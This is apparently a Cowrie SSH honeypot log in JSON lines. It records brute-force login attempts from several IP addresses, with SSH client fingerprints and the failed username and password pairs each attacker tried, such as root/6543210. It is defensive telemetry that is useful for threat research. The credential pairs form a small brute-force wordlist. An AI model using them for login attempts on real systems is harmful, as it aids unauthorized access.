{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:08.205862Z","src_ip":"198.57.219.18","session":"088901b19752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sierraleone","password":"Freetown#Bitc0!n$M@st3r","message":"login attempt [sierraleone/Freetown#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:08.456748Z","src_ip":"198.57.219.18","session":"088901b19752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:09.540458Z","src_ip":"198.57.219.18","session":"088901b19752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":50968,"dst_ip":"159.203.135.109","dst_port":22,"session":"66283f5de61c","protocol":"ssh","message":"New connection: 31.179.197.26:50968 (159.203.135.109:22) [session: 66283f5de61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:42.507823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:42.511403Z","src_ip":"31.179.197.26","session":"66283f5de61c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:42.618277Z","src_ip":"31.179.197.26","session":"66283f5de61c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"totem","password":"123456","message":"login attempt [totem/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:43.070516Z","src_ip":"31.179.197.26","session":"66283f5de61c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:44.177886Z","src_ip":"31.179.197.26","session":"66283f5de61c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":43820,"dst_ip":"10.17.0.5","dst_port":22,"session":"88ed211af741","protocol":"ssh","message":"New connection: 91.92.40.176:43820 (10.17.0.5:22) [session: 88ed211af741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:26.531737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:26.756706Z","src_ip":"91.92.40.176","session":"88ed211af741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:26.759748Z","src_ip":"91.92.40.176","session":"88ed211af741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"User123","message":"login attempt [user/User123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:27.100679Z","src_ip":"91.92.40.176","session":"88ed211af741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:28.189064Z","src_ip":"91.92.40.176","session":"88ed211af741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":50282,"dst_ip":"159.203.135.109","dst_port":22,"session":"55177e05aee5","protocol":"ssh","message":"New connection: 45.61.148.179:50282 (159.203.135.109:22) [session: 55177e05aee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:31.508005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:31.511568Z","src_ip":"45.61.148.179","session":"55177e05aee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:31.580016Z","src_ip":"45.61.148.179","session":"55177e05aee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13112002","message":"login attempt [root/13112002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:31.863487Z","src_ip":"45.61.148.179","session":"55177e05aee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:03:32.929094Z","src_ip":"45.61.148.179","session":"55177e05aee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":38455,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cbe9aa3db22","protocol":"ssh","message":"New connection: 103.248.120.6:38455 (10.17.0.5:22) [session: 4cbe9aa3db22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:12.152355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:12.156323Z","src_ip":"103.248.120.6","session":"4cbe9aa3db22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:12.379507Z","src_ip":"103.248.120.6","session":"4cbe9aa3db22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6543210","message":"login attempt [root/6543210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:13.308491Z","src_ip":"103.248.120.6","session":"4cbe9aa3db22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":55752,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a62e389ee6a","protocol":"ssh","message":"New connection: 177.76.134.52:55752 (159.203.135.109:22) [session: 2a62e389ee6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:14.003097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:14.056814Z","src_ip":"177.76.134.52","session":"2a62e389ee6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:14.185865Z","src_ip":"177.76.134.52","session":"2a62e389ee6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:14.534520Z","src_ip":"103.248.120.6","session":"4cbe9aa3db22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newtest","password":"password","message":"login attempt [newtest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:14.761306Z","src_ip":"177.76.134.52","session":"2a62e389ee6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:15.895871Z","src_ip":"177.76.134.52","session":"2a62e389ee6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":44896,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ed76a8218c5","protocol":"ssh","message":"New connection: 31.179.197.26:44896 (159.203.135.109:22) [session: 3ed76a8218c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:19.106312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:19.110392Z","src_ip":"31.179.197.26","session":"3ed76a8218c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:19.223885Z","src_ip":"31.179.197.26","session":"3ed76a8218c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"torrents","password":"torrents123","message":"login attempt [torrents/torrents123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:19.712447Z","src_ip":"31.179.197.26","session":"3ed76a8218c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:20.828464Z","src_ip":"31.179.197.26","session":"3ed76a8218c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":33588,"dst_ip":"159.203.135.109","dst_port":22,"session":"662ed2768d90","protocol":"ssh","message":"New connection: 162.241.239.241:33588 (159.203.135.109:22) [session: 662ed2768d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:50.483645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:50.487100Z","src_ip":"162.241.239.241","session":"662ed2768d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:50.511486Z","src_ip":"162.241.239.241","session":"662ed2768d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*()!@","message":"login attempt [root/admin@#$%^&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:50.585322Z","src_ip":"162.241.239.241","session":"662ed2768d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:04:51.611788Z","src_ip":"162.241.239.241","session":"662ed2768d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":41352,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51d6b0c4ad1","protocol":"ssh","message":"New connection: 190.244.39.224:41352 (10.17.0.5:22) [session: a51d6b0c4ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:03.032729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:03.040096Z","src_ip":"190.244.39.224","session":"a51d6b0c4ad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:03.211628Z","src_ip":"190.244.39.224","session":"a51d6b0c4ad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6543210","message":"login attempt [root/6543210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:05:03.888899Z","src_ip":"190.244.39.224","session":"a51d6b0c4ad1","protocol":"ssh"}
